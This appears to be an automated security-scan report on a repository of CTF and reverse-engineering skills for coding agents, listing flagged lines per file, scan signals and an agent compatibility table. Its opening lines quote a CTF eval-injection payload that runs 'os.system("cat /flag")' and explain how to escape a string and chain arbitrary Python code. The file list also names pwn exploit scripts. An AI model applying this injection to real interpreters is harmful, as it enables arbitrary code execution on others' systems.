# Trigger PRINT opcode -> eval('"' + injection + '"') - Dangerous shell operationline 251
# eval becomes: eval('""+__import__("os").system("cat /flag")#"') - Dangerous shell operationline 260
**Key insight:** When an emulator or interpreter uses `eval()` to process string output (e.g., for escape sequences), inject a quote to close the string literal, then chain arbitrary Python code. The `#` comment character truncates any trai
pwn-exploit/scripts/fmtstr_payload_suite.py
- Executable scriptline 1
#!/usr/bin/env python3
pwn-exploit/scripts/pwn_triage.py
- Executable scriptline 1
#!/usr/bin/env python3
pwn-exploit/scripts/ret2libc_two_stage.py
- Executable scriptline 1
#!/usr/bin/env python3
pwn-exploit/scripts/seccomp_orw_generator.py
- Executable scriptline 1
#!/usr/bin/env python3
pwn-exploit/scripts/shellcraft_asm.py
- Executable scriptline 1
#!/usr/bin/env python3
pwn-exploit/scripts/srop_execve.py
- Executable scriptline 1
#!/usr/bin/env python3
re-dynamic/references/js-antidebug.md
- Possible obfuscationline 24
# atob("...") 字面量同理:base64.b64decode
re-dynamic/references/js-env-rebuild.md
- Network accessline 34
var localStorage = { _d:{}, getItem(k){return this._d[k]??null}, setItem(k,v){this._d[k]=String(v)}, removeItem(k){delete this._d[k]} }; var location = { href: "https://target.example/page", host: "target.example", prot - Network accessline 35
setItem(k,v){this._d[k]=String(v)}, removeItem(k){delete this._d[k]} }; var location = { href: "https://target.example/page", host: "target.example", protocol: "https:" }; var screen = { width: 1920, height: 1080, colorDepth: 24 }; - Network accessline 36
var location = { href: "https://target.example/page", host: "target.example", protocol: "https:" };
re-dynamic/scripts/frida_time_hook.py
- Executable scriptline 1
#!/usr/bin/env python
re-dynamic/scripts/oracle.py
re-dynamic/scripts/win_gui_drive.py
- Executable scriptline 1
#!/usr/bin/env python
re-triage/references/firmware.md
- Possible obfuscationline 29
b"\x28\xb5\x2f\xfd":"zstd", b"\x27\x05\x19\x56":"uImage"}
re-triage/references/pyc-bytecode.md
- Network accessline 42
- 这两个包没有 `__main__`,**不能 `python -m`**,必须走 venv 的 console script(上表路径)。 - `-o` 语义坑:decompyle3 要求 `-o` 目标目录**已存在**,先 `mkdir -p out_dir`。 - pycdc 输出到 stdout,自行重定向存盘;未装时在线 https://pylingual.io 可临时兜底(注意样本敏感性,涉毒不上传)。 - Network accessline 43
- `-o` 语义坑:decompyle3 要求 `-o` 目标目录**已存在**,先 `mkdir -p out_dir`。 - pycdc 输出到 stdout,自行重定向存盘;未装时在线 https://pylingual.io 可临时兜底(注意样本敏感性,涉毒不上传)。 - pycdc 对 3.11/3.12 新语法可能**静默丢语句**(控制流缺一块而无报错)——拿到结果先扫是否逻辑完整,残缺即按铁律 11 用 dis 直读对照(§4)。 - Network accessline 44
- pycdc 输出到 stdout,自行重定向存盘;未装时在线 https://pylingual.io 可临时兜底(注意样本敏感性,涉毒不上传)。
re-unpack/SKILL.md
- Possible obfuscationline 49
| PyInstaller(打包而非壳) | `MEI\x0c\x0b\x0a\x0b\x0e` cookie、PYZ 归档 | `python "$RUP/pyinstaller_extract.py" <sample>`(识别版本 → pyinstxtractor 解包 → 按 pyc magic 自动选 uncompyle6/decompyle3/pycdc);`--check` 只分诊 |
re-unpack/scripts/pyinstaller_extract.py
- Executable scriptline 1
#!/usr/bin/env python - Possible obfuscationline 66
PYINST_MAGIC = b"MEI\x0c\x0b\x0a\x0b\x0e" - Network accessline 292
rec["hint"] = ("pycdc 未安装:Windows 侧放 ~/Desktop/src/tools/pycdc/pycdc.exe," "或 WSL 源码构建 Decompyle++(cmake+g++,本脚本自动探测);" "也可在线 https://pylingual.io 兜底") - Network accessline 293
"或 WSL 源码构建 Decompyle++(cmake+g++,本脚本自动探测);" "也可在线 https://pylingual.io 兜底") return rec - Network accessline 294
"也可在线 https://pylingual.io 兜底")
re-unpack/scripts/upx_repair.py
traffic-analysis/references/tunnels.md
- Possible obfuscationline 75
encoded = ''.join(b64[p.flags & 0x3F] ...); base64.b64decode(encoded)
traffic-analysis/references/wifi-tls.md
- Access to secretsline 57
[Credential-related source omitted]
traffic-analysis/scripts/conflict_oracle.py
traffic-analysis/scripts/decode_engine.py
- Executable scriptline 1
#!/usr/bin/env python
traffic-analysis/scripts/dnscat2_reassemble.py
traffic-analysis/scripts/hid_keyboard.py
- Executable scriptline 1
#!/usr/bin/env python
traffic-analysis/scripts/mouse_render.py
- Executable scriptline 1
#!/usr/bin/env python
traffic-analysis/scripts/pcap_triage.py
- Executable scriptline 1
#!/usr/bin/env python - Possible obfuscationline 24
b"\xd4\xc3\xb2\xa1": ("<", 1_000_000), # LE, us - Possible obfuscationline 25
b"\xa1\xb2\xc3\xd4": (">", 1_000_000), # BE, us - Possible obfuscationline 26
b"\x4d\x3c\xb2\xa1": ("<", 1_000_000_000), # LE, ns - Possible obfuscationline 27
b"\xa1\xb2\x3c\x4d": (">", 1_000_000_000), # BE, ns - Possible obfuscationline 29
PCAPNG_MAGIC = b"\x0a\x0d\x0d\x0a" - Possible obfuscationline 177
if b"\xaa\xaa\x03\x00\x00\x00\x88\x8e" in pkt: # LLC SNAP EAPOL 启发式
traffic-analysis/scripts/timing_decode.py
- Executable scriptline 1
#!/usr/bin/env python - Possible obfuscationline 29
b"\xd4\xc3\xb2\xa1": ("<", 1_000_000), b"\xa1\xb2\xc3\xd4": (">", 1_000_000), - Possible obfuscationline 30
b"\x4d\x3c\xb2\xa1": ("<", 1_000_000_000), b"\xa1\xb2\x3c\x4d": (">", 1_000_000_000), - Possible obfuscationline 43
if data[:4] == b"\x0a\x0d\x0d\x0a":
How the signals fit together
Facts from a static read of the files at the pinned commit. They describe what the code does, not why.
Some files could not be read; the facts below still hold.
Declared and executed: 2 facts
- Contacts schemas.android.com, which SKILL.md, the README and the plugin manifest do not mentionandroid-re/scripts/apk_triage.py:31High confidence
- Contacts pylingual.io, which SKILL.md, the README and the plugin manifest do not mentionre-unpack/scripts/pyinstaller_extract.py:294High confidence
Signal confidence: 279 facts
- Executable script in code of a file that runsandroid-re/scripts/_android_tools.py:1High confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueandroid-re/scripts/_android_tools.py:33Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueandroid-re/scripts/_android_tools.py:36Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueandroid-re/scripts/_android_tools.py:66Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueandroid-re/scripts/_android_tools.py:127Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueandroid-re/scripts/_android_tools.py:147Low confidence
- Executable script in code of a file that runsandroid-re/scripts/apk_oracle.py:1High confidence
- Dangerous shell operation in code of a file that runsandroid-re/scripts/apk_oracle.py:63High confidence
- Executable script in code of a file that runsandroid-re/scripts/apk_triage.py:1High confidence
- Network access in code of a file that runsandroid-re/scripts/apk_triage.py:31High confidence
- Executable script in code of a file that runsandroid-re/scripts/axml_decompile.py:1High confidence
- Executable script in code of a file that runsandroid-re/scripts/dex_disasm.py:1High confidence
- Possible obfuscation in code of a file that runsandroid-re/scripts/dex_disasm.py:84High confidence
- Executable script in code of a file that runsandroid-re/scripts/dex_triage.py:1High confidence
- Network access in prose of documentationghidra-core/engine/VENDOR.md:3Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/README.md:3Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/README.md:13Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/README.md:73Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/README.md:74Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/docs/install.md:5Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/docs/install.md:6Low confidence
- Dangerous shell operation in prose of documentationghidra-core/engine/ghidra-rpc/docs/install.md:7Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/docs/install.md:7Low confidence
- Network access in prose of documentationghidra-core/engine/ghidra-rpc/docs/internals.md:181Low confidence
- Dangerous shell operation in code of documentationghidra-core/engine/ghidra-rpc/docs/troubleshooting.md:33Low confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/__init__.py:1Low confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:54Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:188Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:189Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:221Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:278Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/cli.py:279Low confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/client.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/client.py:96Low confidence
- Access to secrets in code of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/client.py:105High confidence
- Access to secrets in code of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/client.py:106High confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/daemon.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/daemon.py:75Low confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/server/__init__.py:1Low confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/server/_gui_launcher.py:1Low confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/server/context.py:1Low confidence
- Network access in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/server/context.py:213Low confidence
- Network access in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/server/context.py:214Low confidence
- Network access in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/server/context.py:215Low confidence
- Executable script in prose of a file that runsghidra-core/engine/ghidra-rpc/ghidra_rpc/server/launcher.py:1Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/server/launcher.py:17Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/server/launcher.py:112Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/server/launcher.py:129Low confidence
- Access to secrets in code of a file that runs: a variable, placeholder or call, not a stored valueghidra-core/engine/ghidra-rpc/ghidra_rpc/server/launcher.py:136Low confidence
and 229 more
Works with
| Agent | Status | Evidence | Install to |
|---|---|---|---|
| Claude Code | Compatible | Standard SKILL.md android-re/SKILL.md | .claude/skills/<skill-name>/ |
| Codex | Compatible | Standard SKILL.md android-re/SKILL.md | .agents/skills/<skill-name>/ |
| Cursor | Compatible | Standard SKILL.md android-re/SKILL.md | .cursor/skills/<skill-name>/ |
| Gemini CLI | Compatible | Standard SKILL.md android-re/SKILL.md | .gemini/skills/<skill-name>/ |
| GitHub Copilot | Compatible | Standard SKILL.md android-re/SKILL.md | .github/skills/<skill-name>/ |
| OpenCode | Compatible | Standard SKILL.md android-re/SKILL.md | .opencode/skills/<skill-name>/ |
- Native The repository ships a manifest, folder or frontmatter field for this agent.
- Compatible A standard SKILL.md that this agent can read.
- Unknown No evidence either way.
Derived automatically from paths, manifests and frontmatter. Not tested on each agent.